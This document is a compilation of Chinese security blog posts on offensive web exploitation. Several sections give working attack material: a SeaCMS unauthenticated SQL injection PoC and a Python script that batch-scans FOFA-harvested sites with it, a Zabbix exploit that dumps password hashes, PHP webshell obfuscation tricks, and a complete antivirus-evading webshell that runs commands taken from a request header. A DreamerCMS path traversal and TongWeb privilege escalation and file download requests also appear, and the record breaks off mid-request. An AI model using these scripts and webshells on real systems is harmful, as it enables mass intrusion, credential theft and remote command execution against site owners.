浅谈代码审计+漏洞批量一把梭哈思路
前言 最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。 工具介绍 项目地址 https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。 具体使用方法下面会介绍 漏洞样本 本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的 这里给出审计的过程 /js/player/dmplayer/dmku/index.php 未授权 sql 注入 这个相比于上一个来说是危害更大,因为不需要登录 admin 用户 确实是 sleep 了,说明漏洞存在,我们看到代码 if ($_GET['ac'] == "edit") {    $cid = $_POST['cid'] ?: showmessage(-1, null);    $data = $d->编辑弹幕($cid) ?:  succeedmsg(0, '完成');    exit; } 我们跟进编辑弹幕方法 一路来到 public static function 编辑_弹幕($cid)   {        try {            global $_config;            $text = $_POST['text'];            $color = $_POST['color'];            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);                        $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";            $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";            $conn->query($sql);            $conn->query($result);       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤 所以导致 sql 注入 还有我们看到当 ac=del,type=list 的时候 else if ($_GET['ac'] == "del") {        $id = $_GET['id'] ?: succeedmsg(-1, null);        $type = $_GET['type'] ?: succeedmsg(-1, null);        $data = $d->删除弹幕($id) ?: succeedmsg(0, []);        succeedmsg(23, true); 进入删除弹幕($id) public function 删除弹幕($id)   {        //sql::插入_弹幕($data);        sql::删除_弹幕数据($id);   } 进入 sql::删除_弹幕数据($id); public static function 删除_弹幕数据($id)   {        try {            global $_config;            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);            $conn->set_charset('utf8');            if ($_GET['type'] == "list") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";                $conn->query($sql);                $conn->query($result);           } else if ($_GET['type'] == "report") {                $sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";                $conn->query($sql);           }       } catch (PDOException $e) {            showmessage(-1, '数据库错误:' . $e->getMessage());       }   } 我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询 漏洞验证 POC GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1 Host: seacms:8181 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM Connection: keep-alive 效果如图,可以发现确实延迟了 6 秒 工具利用过程 首先就是看工具的逻辑是如何添加漏洞的 首先看主文件 代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下 需要你进入工具的时候配置邮箱和 key def fofa_saveit_first():    email = fofa_text1.get()    key = fofa_text2.get()    with open("fofa配置.conf","a+") as f:        f.write(f"[data]\nemail={email}\nkey={key}")        f.close()    showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")    text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")    text3.see(END)    fofa_info.destroy() def fofa_saveit_twice():    global email_r,key_r    if not os.path.exists("fofa配置.conf"):        fofa_saveit_first()    else:        email_r = getFofaConfig("data", "email")        key_r = getFofaConfig("data", "key") def fofa_info():    global fofa_info,fofa_text1,fofa_text2,fofa_text3    fofa_info = tk.Tk()    fofa_info.title("fofa配置")    fofa_info.geometry('230x100')    fofa_info.resizable(0, 0)    fofa_info.iconbitmap('logo.ico')    fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")    fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)    fofa_text1.grid(row=0, column=1, padx=5, pady=5)    fofa_key = tk.StringVar(fofa_info,value="填email对应的key")    fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)    fofa_text2.grid(row=1, column=1, padx=5, pady=5)    button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")    button1.grid(row=2, column=1, padx=5, pady=5)    fofa_info.mainloop() 使用 fofa 的处理流程 后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能 然后下面是脚本调用逻辑 因为一个漏洞是需要你自己写一个 python 脚本的 然后加入你自己自定义的漏洞是在 这个逻辑应该很好理解,比如我的就是 button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary") button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5) 然后就是写对应的利用脚本了 因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的 工具自带了许许多多的利用脚本,我们看一下如何仿写 比如 zabbix_sql.py import requests import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * """ Zabbix ‘popup.php’SQL注入漏洞 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017 Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。 """ def zabbix_sql_exp(url):    poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""    target_url = url + poc    status_str = ['Administrator', 'User']    try:        res = requests.get(url, Verify=False,timeout=3)        if res.status_code == 200:            target_url_payload = f"{target_url}"            res = requests.get(url=target_url_payload,Verify=False)            if res.status_code == 200:                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")            else:                target_url = url + '/zabbix/' + poc                res = requests.get(url=target_url,verify=False)                for i in range(len(status_str)):                    if status_str[i] in res.text:                        zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")        else:            zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")            zabbix_sql.see(END)    except Exception as err:        zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")        zabbix_sql.see(END) def get_zabbix_addr():    with open("url.txt","r") as f:        for address in f.readlines():            address = address.strip()            yield address def zabbix_sql_gui():    zabbix_sql_poc = tk.Tk()    zabbix_sql_poc.geometry("910x450")    zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")    zabbix_sql_poc.resizable(0, 0)    zabbix_sql_poc.iconbitmap('logo.ico')    global zabbix_sql    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)    zabbix_sql.see(END)    addrs = get_zabbix_addr()    max_thread_num = 30    executor = ThreadPoolExecutor(max_workers=max_thread_num)    for addr in addrs:        future = executor.submit(zabbix_sql_exp, addr)    zabbix_sql_poc.mainloop() 大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块 因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下 import requests import time import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * # 执行SQL注入检测的函数 def sql_injection_exp(url):    target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"    data = {        "cid": "(select(1)from(select(sleep(6)))x)",        "text": "1",        "color": "1"   }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded"   }    start_time = time.time()    try:        response = requests.post(target, data=data, headers=headers, timeout=10)        elapsed_time = time.time() - start_time        if elapsed_time > 5:            output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)            with open("找到sql注入的url.txt", 'a') as f:                f.write(url + "\n")        else:            output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)    except requests.exceptions.RequestException as err:        output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")        output_text.see(END) # 获取URL地址的生成器 def get_urls():    with open('url.txt', 'r') as file:        for line in file.readlines():            yield line.strip() # GUI界面 def sql_injection_gui():    root = tk.Tk()    root.geometry("910x450")    root.title("seacms前台sql注入")    root.resizable(0, 0)    global output_text    output_text = scrolledtext.ScrolledText(root, width=123, height=25)    output_text.grid(row=0, column=0, padx=10, pady=10)    urls = get_urls()    max_threads = 30  # 并发线程数    executor = ThreadPoolExecutor(max_workers=max_threads)    for url in urls:        future = executor.submit(sql_injection_exp, url)    root.mainloop() 然后添加好模块 可以看见是添加成功了的 实战演示 首先就是搜集 url 了,配置好了之后只需要 因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了 然后来到你需要利用的板块 利用的效果 然后我们可以随便找个网址验证一下 进入网址效果如下,说明网址还在正常使用的 然后测试漏洞 可以看见漏洞是存在的 然后就是查权重了 这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言 最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。 环境搭建 下载https://gitee.com/iteachyou/dreamer_cms 然后各种配置都可以看到 JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考: https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考: https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接 漏洞寻找过程 进入后台后发现可以编辑模板文件 然后这时候我们就需要注意常见的可以触发漏洞的点了 首先就是 xss 加入我们的 xss 代码 然后访问首页 成功 xss,当然我们真实使用的话可以利用我们的 xss 平台 这里推荐与一个 https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个 这里我们简单弹个 cookie xss 的话还是国外使用比较多 当然这样并不能达到我们 getshell 的目的 漏洞深入利用 这里就不得不提到我们的一些标签了 一般常见的我们可以尝试 include 标签 这里我们先复现一下 这个标签是 cms 的专属的标签 然后我们根据目录关系创建一个文件尝试一下 然后我们访问首页 可以看到成功了 调试分析 我们调试分析一下,抓个包看看路由 定位到代码 @Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板") @PostMapping("save") @RequiresPermissions("5n6ta53y") public String save(TemplateVo template) throws IOException, CmsException { String fileName = template.getPath() + File.separator + template.getFile(); File templateFile = new File(fileName); /** * 查询当前模版目录,判断是否为模版目录,如不是,则报错 */ Theme currentTheme = themeService.getCurrentTheme(); String resourceDir = fileConfiguration.getResourceDir(); String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator; themePath = themePath.replaceAll("\\*", "/"); File themeDir = new File(themePath); // 检查当前编辑文件是否有权限 if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) { throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!"); } if(!templateFile.exists()) { throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!"); } String filePath = template.getPath() + File.separator + template.getFile(); filePath = filePath.replaceAll("\\*", "/"); File file = new File(filePath); FileUtils.writeStringToFile(file, template.getContent(), "UTF-8"); return "redirect:/admin/templates/toIndex"; } 这里就是就简单的写一下模板,然后重点关注解析的部分 这里有各种各样的标签 看到我们的 Include 标签 @Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={ @Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"), }) 格式 我们看一下解析过程 首先是解析我们的模板 识别我们的模板内容后开始解析各种标签,然后是我们的 include public String parse(String html) { Tag annotations = IncludeTag.class.getAnnotation(Tag.class); Attribute[] attributes = annotations.attributes(); List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0); if(StringUtil.isBlank(all)) { return html; } String newHtml = html; String resourceDir = fileConfiguration.getResourceDir() + "templates/"; Theme currentTheme = themeService.getCurrentTheme(); String templatePath = currentTheme.getThemePath() + "/"; String basePath = resourceDir + templatePath; for (int i = 0; i < all.size(); i++) { Map<String,Object> entity = new HashMap<String,Object>(); String includeTag = all.get(i); for (Attribute attribute : attributes) { String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0); if(StringUtil.isBlank(condition)) { continue; } String key = condition.split("=")[0]; String value = condition.split("=")[1]; key = key.trim(); value = value.replace("\"", "").replace("\'", ""); entity.put(key, value); } if(entity.keySet() != null && entity.keySet().size() > 0) { String path = basePath + entity.get("file").toString(); File includeFile = new File(path); String includeHtml; try { includeHtml = FileUtils.readFileToString(includeFile, "UTF-8"); newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml); } catch (IOException e) { e.printStackTrace(); } } } return newHtml; } 可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言 这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。 get_defined_functions (PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8) get_defined_functions — 返回所有已定义函数的数组 我们主要是可以通过这个获取危险的函数 比如 比如 当然还有许多,如何执行命令就很简单了 代码如下 <?php $a=(get_defined_functions()); $a["internal"][516]("whoami"); ?> get_defined_constants get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值 那获取的常量是不是可以为我们所用呢? 可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗 代码如下 <?php $a=get_defined_constants(); foreach ($a as $key => $value){    if (substr($key,0,7)=="INI_SYS"){        $x= strtolower(substr($key,4,6));        $x("whoami");   } } ?> 自定义方法 通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } 现在还没有看出端倪,但是当你运行这串代码的时候 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } echo fun(451232); 抛出异常截取字符串 这个手法也是比较特殊的 我们可以随便找一个异常类 比如 ParseError,然后再加上我们刚刚的自定义方法 ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。 它的一些属性和方法 /* 继承的属性 */ protected string $message = ""; private string $string = ""; protected int $code; protected string $file = ""; protected int $line; private array $trace = []; private ?Throwable $previous = null; /* 继承的方法 */ public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null) final public Error::getMessage(): string final public Error::getPrevious(): ?Throwable final public Error::getCode(): int final public Error::getFile(): string final public Error::getLine(): int final public Error::getTrace(): array final public Error::getTraceAsString(): string public Error::__toString(): string private Error::__clone(): void 可以看到都是基础父类的 Exception::__construct — 异常构造函数 Exception::getMessage — 获取异常消息内容 Exception::getPrevious — 返回前一个 Throwable Exception::getCode — 获取异常代码 Exception::getFile — 创建异常时的程序文件名称 Exception::getLine — 获取创建的异常所在文件中的行号 Exception::getTrace — 获取异常追踪信息 Exception::getTraceAsString — 获取字符串类型的异常追踪信息 Exception::__toString — 将异常对象转换为字符串 Exception::__clone — 异常克隆 根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗 代码如下 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } $a = new ParseError(fun(451232)); echo $a->getMessage(); DirectoryIterator The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories. 它的一些方法 https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..' https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file 其中大概看一下,其实 DirectoryIterator::getFilename 就有利用的可能 DirectoryIterator::getFilename — Return file name of current DirectoryIterator item 看一下官方的例子 <?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {   echo $fileinfo->getFilename() . "\n";}?> 以上示例的输出类似于: . .. apple.jpg banana.jpg index.php pear.jpg 那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗 代码如下 <?php // 创建FilesystemIterator实例 $iterator = new FilesystemIterator(dirname(__FILE__)); foreach ($iterator as $item) {    // 输出文件和目录的属性    echo $item->getFilename() . "\n"; } ?> 运行结果 确实是获取到了 pack 这个函数很有意思的 pack — 将数据打包成二进制字符串 可以构造出字符串 pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php 将输入参数打包成 format 格式的二进制字符串。 这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。 注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。 看了一下大概,再看下官方的例子 这是一些它的格式 示例 #1 *pack()* 范例 <?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?> 输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。 那我们按照构造出 system 的思路 <?php echo pack("C6", 115, 121, 115, 116, 101, 109); echo pack("H*", "73797374656d"); ?> 这两个结果都是 system "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。 传入的参数 115, 121, 115, 116, 101, 109 是 ASCII 码值。 115 对应的字符是 s 121 对应的字符是 y 115 对应的字符是 s 116 对应的字符是 t 101 对应的字符是 e 109 对应的字符是 m 构造出来的就是 system "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。 73797374656d 是一个十六进制表示的字符串。将其转换为 ASCII 字符: 73 是 s 79 是 y 73 是 s 74 是 t 65 是 e 6d 是 m 构造出来的也是system
这你敢信,复习PHP意外搞出一个免杀WebShell
前言 正当我饶有性质的开始复习 PHP 开发这个课程准备一天速通期末考试的时候,没想到有心栽花花不开,无心插柳柳成因,意外灵感突发,搞出了一个还算可以的免杀的 webshell,下面讲讲思路 起 当打开 php 复习考点的时候,发现还要考魔术方法,于是打开了好久没有翻过的 php 手册 魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。 我们看了大多数魔术方法,都有自己会在某个契机出发 比如一些常规的 __construct(mixed ...$values = ""): void PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。 会在实例化一个类的时候触发这个方法 __destruct(): void PHP 有析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 会在对象销毁的时候执行这个方法 于是我们可以利用这个思路来实现一个命令条件执行的方法 比如看下面的例子 <?php class a{    public function __construct()   {        system("calc");   } } new a(); 或者 <?php class a{    public function __destruct()   {        system("calc");   } } new a(); 都可以弹出计算器 所以我们可以借助这个思路 但是这两个函数还是太常见了 我们找找其他函数 承 于是开始找起来了 手册的方法都感觉太常规,而且都见过 首先需要免杀,那一定需要小众 不知道各位知不知道__debugInfo()这个魔术方法呢 下面介绍一下 __debugInfo(): array 当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。如果对象中没有定义该方法,那么将会展示所有的公有、受保护和私有的属性。 下面是它的使用例子 <?php class C {    private $prop;    public function __construct($val) {        $this->prop = $val;   }    public function __debugInfo() {        return [            'propSquared' => $this->prop ** 2,       ];   } } var_dump(new C(42)); ?> 我们按着改造一下 读懂了原理后我们尝试看看能不能执行命令 <?php class C {    private $prop;    public function __construct($val) {        $this->prop = $val;   }    public function __debugInfo() {        return [            'propSquared' => $this->prop ** 2,       ];        system("calc");   } } var_dump(new C(42)); ?> 但是并没有计算器弹出来,原来忘了 php 一个最基础的语法,return 后代码就不会执行了 但是尝试了还是不行,最后问 GPT 写了个例子看看环境是不是有问题 <?php class User {    private $username;    private $password; // 敏感信息,不想输出    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); // 触发 __debugInfo() 输出应该是 object(User)#1 (3) { ["username"]=>  string(5) "alice" ["info"]=>  string(33) "这是调试时返回的信息" ["timestamp"]=>  int(1725092384) } 然后搜了很多,发现如果可能我们的 xdebug 配置会影响我们的这个输出,所以找了没有配置 xdebug 的 再次执行 可以看到已经有信息了 所以尝试执行命令 成功执行了命令 然后开始构造免杀 webshell 利用 SimpleXMLElement 解析 xml 文件来传入参数 终 最后搞出来的代码如下 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode(end(getallheaders()));        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 这里因为我懒得搭建调试环境了,我们把 header 传入的值直接设置为 <books>    <system>calc</system> </books> 然后需要 base64 编码 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));         ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 成功弹出计算器 这里我为了方便直接把从 header 头传入值修改为直接写入了 首先实例化我们的 user 类 然后 var_dump($user); 在这个过程中,会触发__debugInfo 然后在这个过程中会解析 xml 数据 通过 SimpleXMLElement 的方法去截取我们需要的字符串,从而来构造一个命令执行 最后构造出我们的 webshell 长亭 微步 VIRUSTOTAL
TongWeb闭源中间件代码审计
应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范,作为基础架构软件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用高效、稳定、安全运行提供关键支撑,包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。 本文对该中间件部分公开在互联网,但未分析细节的漏洞,进行复现分析: sysweb后台上传getshell: 在互联网搜索发现该版本存在sysweb后台文件下载,可惜却没有复现细节,且访问显示如下: 发现通过默认口令thanos/thanos123.com无法登录,且未发现任何相关的默认口令: 于是自己找到配置文件查看权限校验情况: \sysweb\WEB-INF\web.xml: 发现配置情况如上,一切/*请求均需要admin权限才行,但目前互联网暂未发现任何其他相关权限账号,自己尝试admin相关弱口令也均为成功,于是继续寻找用户相关功能点: 点击安全服务--安全域管理: 点击该安全域:找到默认账户的thanos用户: 点击保存,查看数据包: 发现该账户的userRole为tongweb与sysweb要求的admin并不匹配,于是点击创建用户: 但并未发现可以随意设置用户的useRole,于是点击保存,并拦截数据包: 将空白的userRole设置为admin,并放包: 发现创建成功。于是尝试sysweb登录: 发现仅仅是如上页面,但是至少权限问题解决了。 接着返回sysweb的配置文件: 跟进分析: 发现未进行任何校验过滤,直接通过parseFileName()方法解析header获取文件名赋值给fileName。 构造如下文件上传数据包: 上传成功,shell加一: 任意文件下载漏洞: 默认账号密码:thanos/thanos123.com登录后台,在快照管理处存在下载功能点: 点击下载抓包查看: 下载文件打包成压缩包下载: 如上,疑似存在下载漏洞,跟进路由: 如上,先找到类级别的路径位置,注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。 随后再找到方法级别的路由位置,download的post请求均会被该方法处理: 可见该方法接收了前面数据包传输的参数filename,并赋值给snapshotname参数。 分析如上代码存在以下路径: Path:根路径,由system.getProperty/temp/download组成 snapshotRootPath:由path/snapshotname组成。 随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩,下载,且此处未进行任何校验: 但如果直接修改数据包filename进行任意文件下载依然会失败,因为紧接着代码进行了如下校验: 判断下载路径snapshotRootPath的父路径是否是path,也就是对snapshotname与path拼接后的路径进行校验,如果snapshotname值为../../或者为/a/b这种格式则无法通过校验,也就是限制了跨目录操作。 但回过头来查看具体下载操作: 是通过fileOrDir路径与snapshotRootPath进行文件下载的,查找location的值: 且发现location参数值可控: 于是先通过如下数据包修改location的值(修改为想任意下载的目录): POST /console/rest/monitor/snapshots/setLocation HTTP/1.1 Host: 192.168.73.130:9060 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json, text/javascript, \*/\*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 36 Origin: http://192.168.73.130:9060 Connection: keep-alive Referer: http://192.168.73.130:9060/console/rest Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628; DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp snapshot_location=D%3A%5CTongWeb7.42 随后再进行下载: POST /console/rest/monitor/snapshots/download HTTP/1.1 Host: 192.168.73.130:9060 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 39 Origin: http://192.168.73.130:9060 Connection: keep-alive Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp Cookie: 